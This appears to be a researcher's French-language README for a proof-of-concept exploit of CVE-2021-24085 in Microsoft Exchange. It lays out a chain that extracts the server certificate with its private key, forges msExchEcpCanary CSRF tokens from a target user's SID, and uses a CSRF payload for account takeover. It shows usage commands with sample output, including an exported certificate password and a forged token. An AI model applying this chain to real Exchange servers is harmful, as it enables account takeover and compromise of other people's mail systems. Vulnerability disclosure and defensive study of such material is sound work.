Microsoft Exchange Server msExchEcpCanary Vulnérabilité d'élévation de privilèges par cross-site request forgery

Ceci est une preuve de concept pour CVE-2021-24085.

1. poc.py télécharge le fichier de certificat de la cible avec la clé privée à l'intérieur
2. YellowCanary génère le jeton csrf msExchEcpCanary pour un utilisateur spécifique en fonction du SID
3. poc.js est l'exploit csrf pour déclencher une prise de contrôle de compte

Je n'ai pas fourni le fichier malicifest.xml mais vous pouvez trouver des informations sur la façon de générer un fichier manifeste malveillant à partir des ressources disponibles dans la section références ci-dessous.

Exemple

Accédez au certificat avec la clé privée à l'intérieur :

researcher@srcincite:~$ ./poc.py
(+) usage: ./poc.py <target> <user:pass>
(+) eg: ./poc.py 192.168.75.142 [email protected]:user123###

researcher@srcincite:~$ ./poc.py 192.168.75.142 [email protected]:user123###
(+) found the thumbprint: F4EB6AADB8D7C0D12E756BA2E28F90CCACD41299
(+) exported the cert to the target filesystem
(+) saved the cert to testcert.der using password: hax

Vous pouvez maintenant générer des jetons csrf avec YellowCanary en utilisant le SID d'un utilisateur cible :

c:\Users\researcher>poc.exe S-1-5-21-257332918-392067043-4020791575-3104 testcert.der hax

            #====================================================
            # YellowCanary - generate msExchEcpCanary csrf tokens
            #====================================================

security identifier : S-1-5-21-257332918-392067043-4020791575-3104
msExchEcpCanary     : sA0o0nS_C0G_PMdcA_dAd5BdAEL_-NcYhndaAwlhBJFs4a4iKy4sn53azH-O5Ix3F0jnwzZZUsk.

Références :

• https://www.mdsec.co.uk/2019/01/abusing-office-web-add-ins-for-fun-and-limited-profit/
• https://info.phishlabs.com/blog/office-365-phishing-uses-malicious-app-persist-password-reset